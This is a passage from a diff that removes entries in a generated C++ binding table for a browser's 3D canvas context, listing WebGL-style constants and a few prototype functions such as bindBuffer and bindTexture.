-    { "SAMPLE_COVERAGE_INVERT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_COVERAGE_INVERT, (intptr_t)0 },
-    { "NUM_COMPRESSED_TEXTURE_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNUM_COMPRESSED_TEXTURE_FORMATS, (intptr_t)0 },
-    { "COMPRESSED_TEXTURE_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOMPRESSED_TEXTURE_FORMATS, (intptr_t)0 },
-    { "DONT_CARE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDONT_CARE, (intptr_t)0 },
-    { "FASTEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFASTEST, (intptr_t)0 },
-    { "NICEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNICEST, (intptr_t)0 },
-    { "GENERATE_MIPMAP_HINT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGENERATE_MIPMAP_HINT, (intptr_t)0 },
-    { "BYTE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBYTE, (intptr_t)0 },
-    { "UNSIGNED_BYTE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_BYTE, (intptr_t)0 },
-    { "SHORT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHORT, (intptr_t)0 },
-    { "UNSIGNED_SHORT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT, (intptr_t)0 },
-    { "INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT, (intptr_t)0 },
-    { "UNSIGNED_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_INT, (intptr_t)0 },
-    { "FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT, (intptr_t)0 },
-    { "FIXED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFIXED, (intptr_t)0 },
-    { "DEPTH_COMPONENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_COMPONENT, (intptr_t)0 },
-    { "ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALPHA, (intptr_t)0 },
-    { "RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGB, (intptr_t)0 },
-    { "RGBA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGBA, (intptr_t)0 },
-    { "LUMINANCE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLUMINANCE, (intptr_t)0 },
-    { "LUMINANCE_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLUMINANCE_ALPHA, (intptr_t)0 },
-    { "UNSIGNED_SHORT_4_4_4_4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT_4_4_4_4, (intptr_t)0 },
-    { "UNSIGNED_SHORT_5_5_5_1", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT_5_5_5_1, (intptr_t)0 },
-    { "UNSIGNED_SHORT_5_6_5", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT_5_6_5, (intptr_t)0 },
-    { "FRAGMENT_SHADER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAGMENT_SHADER, (intptr_t)0 },
-    { "VERTEX_SHADER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_SHADER, (intptr_t)0 },
-    { "MAX_VERTEX_ATTRIBS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VERTEX_ATTRIBS, (intptr_t)0 },
-    { "MAX_VERTEX_UNIFORM_VECTORS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VERTEX_UNIFORM_VECTORS, (intptr_t)0 },
-    { "MAX_VARYING_VECTORS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VARYING_VECTORS, (intptr_t)0 },
-    { "MAX_COMBINED_TEXTURE_IMAGE_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_COMBINED_TEXTURE_IMAGE_UNITS, (intptr_t)0 },
-    { "MAX_VERTEX_TEXTURE_IMAGE_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VERTEX_TEXTURE_IMAGE_UNITS, (intptr_t)0 },
-    { "MAX_TEXTURE_IMAGE_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_TEXTURE_IMAGE_UNITS, (intptr_t)0 },
-    { "MAX_FRAGMENT_UNIFORM_VECTORS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_FRAGMENT_UNIFORM_VECTORS, (intptr_t)0 },
-    { "SHADER_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_TYPE, (intptr_t)0 },
-    { "DELETE_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDELETE_STATUS, (intptr_t)0 },
-    { "LINK_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINK_STATUS, (intptr_t)0 },
-    { "VALIDATE_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVALIDATE_STATUS, (intptr_t)0 },
-    { "ATTACHED_SHADERS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DATTACHED_SHADERS, (intptr_t)0 },
-    { "ACTIVE_UNIFORMS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_UNIFORMS, (intptr_t)0 },
-    { "ACTIVE_UNIFORM_MAX_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_UNIFORM_MAX_LENGTH, (intptr_t)0 },
-    { "ACTIVE_ATTRIBUTES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_ATTRIBUTES, (intptr_t)0 },
-    { "ACTIVE_ATTRIBUTE_MAX_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_ATTRIBUTE_MAX_LENGTH, (intptr_t)0 },
-    { "SHADING_LANGUAGE_VERSION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADING_LANGUAGE_VERSION, (intptr_t)0 },
-    { "CURRENT_PROGRAM", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCURRENT_PROGRAM, (intptr_t)0 },
-    { "NEVER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEVER, (intptr_t)0 },
-    { "LESS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLESS, (intptr_t)0 },
-    { "EQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DEQUAL, (intptr_t)0 },
-    { "LEQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLEQUAL, (intptr_t)0 },
-    { "GREATER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGREATER, (intptr_t)0 },
-    { "NOTEQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNOTEQUAL, (intptr_t)0 },
-    { "GEQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGEQUAL, (intptr_t)0 },
-    { "ALWAYS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALWAYS, (intptr_t)0 },
-    { "KEEP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DKEEP, (intptr_t)0 },
-    { "REPLACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DREPLACE, (intptr_t)0 },
-    { "INCR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINCR, (intptr_t)0 },
-    { "DECR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDECR, (intptr_t)0 },
-    { "INVERT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVERT, (intptr_t)0 },
-    { "INCR_WRAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINCR_WRAP, (intptr_t)0 },
-    { "DECR_WRAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDECR_WRAP, (intptr_t)0 },
-    { "VENDOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVENDOR, (intptr_t)0 },
-    { "RENDERER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERER, (intptr_t)0 },
-    { "VERSION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERSION, (intptr_t)0 },
-    { "EXTENSIONS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DEXTENSIONS, (intptr_t)0 },
-    { "NEAREST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEAREST, (intptr_t)0 },
-    { "LINEAR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINEAR, (intptr_t)0 },
-    { "NEAREST_MIPMAP_NEAREST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEAREST_MIPMAP_NEAREST, (intptr_t)0 },
-    { "LINEAR_MIPMAP_NEAREST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINEAR_MIPMAP_NEAREST, (intptr_t)0 },
-    { "NEAREST_MIPMAP_LINEAR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEAREST_MIPMAP_LINEAR, (intptr_t)0 },
-    { "LINEAR_MIPMAP_LINEAR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINEAR_MIPMAP_LINEAR, (intptr_t)0 },
-    { "TEXTURE_MAG_FILTER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_MAG_FILTER, (intptr_t)0 },
-    { "TEXTURE_MIN_FILTER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_MIN_FILTER, (intptr_t)0 },
-    { "TEXTURE_WRAP_S", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_WRAP_S, (intptr_t)0 },
-    { "TEXTURE_WRAP_T", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_WRAP_T, (intptr_t)0 },
-    { "TEXTURE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP, (intptr_t)0 },
-    { "TEXTURE_BINDING_CUBE_MAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_BINDING_CUBE_MAP, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_POSITIVE_X", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_X, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_NEGATIVE_X", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_X, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_POSITIVE_Y", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Y, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_NEGATIVE_Y", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Y, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_POSITIVE_Z", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Z, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_NEGATIVE_Z", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Z, (intptr_t)0 },
-    { "MAX_CUBE_MAP_TEXTURE_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_CUBE_MAP_TEXTURE_SIZE, (intptr_t)0 },
-    { "TEXTURE0", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE0, (intptr_t)0 },
-    { "TEXTURE1", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE1, (intptr_t)0 },
-    { "TEXTURE2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE2, (intptr_t)0 },
-    { "TEXTURE3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE3, (intptr_t)0 },
-    { "TEXTURE4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE4, (intptr_t)0 },
-    { "TEXTURE5", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE5, (intptr_t)0 },
-    { "TEXTURE6", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE6, (intptr_t)0 },
-    { "TEXTURE7", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE7, (intptr_t)0 },
-    { "TEXTURE8", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE8, (intptr_t)0 },
-    { "TEXTURE9", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE9, (intptr_t)0 },
-    { "TEXTURE10", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE10, (intptr_t)0 },
-    { "TEXTURE11", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE11, (intptr_t)0 },
-    { "TEXTURE12", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE12, (intptr_t)0 },
-    { "TEXTURE13", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE13, (intptr_t)0 },
-    { "TEXTURE14", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE14, (intptr_t)0 },
-    { "TEXTURE15", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE15, (intptr_t)0 },
-    { "TEXTURE16", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE16, (intptr_t)0 },
-    { "TEXTURE17", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE17, (intptr_t)0 },
-    { "TEXTURE18", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE18, (intptr_t)0 },
-    { "TEXTURE19", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE19, (intptr_t)0 },
-    { "TEXTURE20", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE20, (intptr_t)0 },
-    { "TEXTURE21", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE21, (intptr_t)0 },
-    { "TEXTURE22", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE22, (intptr_t)0 },
-    { "TEXTURE23", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE23, (intptr_t)0 },
-    { "TEXTURE24", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE24, (intptr_t)0 },
-    { "TEXTURE25", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE25, (intptr_t)0 },
-    { "TEXTURE26", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE26, (intptr_t)0 },
-    { "TEXTURE27", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE27, (intptr_t)0 },
-    { "TEXTURE28", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE28, (intptr_t)0 },
-    { "TEXTURE29", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE29, (intptr_t)0 },
-    { "TEXTURE30", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE30, (intptr_t)0 },
-    { "TEXTURE31", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE31, (intptr_t)0 },
-    { "ACTIVE_TEXTURE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_TEXTURE, (intptr_t)0 },
-    { "REPEAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DREPEAT, (intptr_t)0 },
-    { "CLAMP_TO_EDGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCLAMP_TO_EDGE, (intptr_t)0 },
-    { "MIRRORED_REPEAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMIRRORED_REPEAT, (intptr_t)0 },
-    { "FLOAT_VEC2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_VEC2, (intptr_t)0 },
-    { "FLOAT_VEC3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_VEC3, (intptr_t)0 },
-    { "FLOAT_VEC4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_VEC4, (intptr_t)0 },
-    { "INT_VEC2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT_VEC2, (intptr_t)0 },
-    { "INT_VEC3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT_VEC3, (intptr_t)0 },
-    { "INT_VEC4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT_VEC4, (intptr_t)0 },
-    { "BOOL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL, (intptr_t)0 },
-    { "BOOL_VEC2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL_VEC2, (intptr_t)0 },
-    { "BOOL_VEC3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL_VEC3, (intptr_t)0 },
-    { "BOOL_VEC4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL_VEC4, (intptr_t)0 },
-    { "FLOAT_MAT2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_MAT2, (intptr_t)0 },
-    { "FLOAT_MAT3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_MAT3, (intptr_t)0 },
-    { "FLOAT_MAT4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_MAT4, (intptr_t)0 },
-    { "SAMPLER_2D", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLER_2D, (intptr_t)0 },
-    { "SAMPLER_CUBE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLER_CUBE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_ENABLED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_ENABLED, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_SIZE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_STRIDE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_STRIDE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_TYPE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_NORMALIZED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_NORMALIZED, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_POINTER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_POINTER, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_BUFFER_BINDING, (intptr_t)0 },
-    { "IMPLEMENTATION_COLOR_READ_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_TYPE, (intptr_t)0 },
-    { "IMPLEMENTATION_COLOR_READ_FORMAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_FORMAT, (intptr_t)0 },
-    { "COMPILE_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOMPILE_STATUS, (intptr_t)0 },
-    { "INFO_LOG_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINFO_LOG_LENGTH, (intptr_t)0 },
-    { "SHADER_SOURCE_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_SOURCE_LENGTH, (intptr_t)0 },
-    { "SHADER_COMPILER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_COMPILER, (intptr_t)0 },
-    { "SHADER_BINARY_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_BINARY_FORMATS, (intptr_t)0 },
-    { "NUM_SHADER_BINARY_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNUM_SHADER_BINARY_FORMATS, (intptr_t)0 },
-    { "LOW_FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLOW_FLOAT, (intptr_t)0 },
-    { "MEDIUM_FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMEDIUM_FLOAT, (intptr_t)0 },
-    { "HIGH_FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DHIGH_FLOAT, (intptr_t)0 },
-    { "LOW_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLOW_INT, (intptr_t)0 },
-    { "MEDIUM_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMEDIUM_INT, (intptr_t)0 },
-    { "HIGH_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DHIGH_INT, (intptr_t)0 },
-    { "FRAMEBUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER, (intptr_t)0 },
-    { "RENDERBUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER, (intptr_t)0 },
-    { "RGBA4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGBA4, (intptr_t)0 },
-    { "RGB5_A1", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGB5_A1, (intptr_t)0 },
-    { "RGB565", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGB565, (intptr_t)0 },
-    { "DEPTH_COMPONENT16", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_COMPONENT16, (intptr_t)0 },
-    { "STENCIL_INDEX", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_INDEX, (intptr_t)0 },
-    { "STENCIL_INDEX8", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_INDEX8, (intptr_t)0 },
-    { "RENDERBUFFER_WIDTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_WIDTH, (intptr_t)0 },
-    { "RENDERBUFFER_HEIGHT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_HEIGHT, (intptr_t)0 },
-    { "RENDERBUFFER_INTERNAL_FORMAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_INTERNAL_FORMAT, (intptr_t)0 },
-    { "RENDERBUFFER_RED_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_RED_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_GREEN_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_GREEN_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_BLUE_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_BLUE_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_ALPHA_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_ALPHA_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_DEPTH_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_DEPTH_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_STENCIL_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_STENCIL_SIZE, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_TYPE, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_NAME, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE, (intptr_t)0 },
-    { "COLOR_ATTACHMENT0", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_ATTACHMENT0, (intptr_t)0 },
-    { "DEPTH_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_ATTACHMENT, (intptr_t)0 },
-    { "STENCIL_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_ATTACHMENT, (intptr_t)0 },
-    { "NONE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNONE, (intptr_t)0 },
-    { "FRAMEBUFFER_COMPLETE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_COMPLETE, (intptr_t)0 },
-    { "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_ATTACHMENT, (intptr_t)0 },
-    { "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT, (intptr_t)0 },
-    { "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_DIMENSIONS, (intptr_t)0 },
-    { "FRAMEBUFFER_UNSUPPORTED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_UNSUPPORTED, (intptr_t)0 },
-    { "FRAMEBUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_BINDING, (intptr_t)0 },
-    { "RENDERBUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_BINDING, (intptr_t)0 },
-    { "MAX_RENDERBUFFER_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_RENDERBUFFER_SIZE, (intptr_t)0 },
-    { "INVALID_FRAMEBUFFER_OPERATION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_FRAMEBUFFER_OPERATION, (intptr_t)0 },
-    { "sizeInBytes", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionSizeInBytes, (intptr_t)1 },
-    { "activeTexture", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionActiveTexture, (intptr_t)1 },
-    { "attachShader", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionAttachShader, (intptr_t)2 },
-    { "bindAttribLocation", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBindAttribLocation, (intptr_t)3 },
-    { "bindBuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBindBuffer, (intptr_t)2 },
-    { "bindFramebuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBindFramebuffer, (intptr_t)2 },
-    { "bindRenderbuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBindRenderbuffer, (intptr_t)2 },
-    { "bindTexture", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBindTexture, (intptr_t)2 },
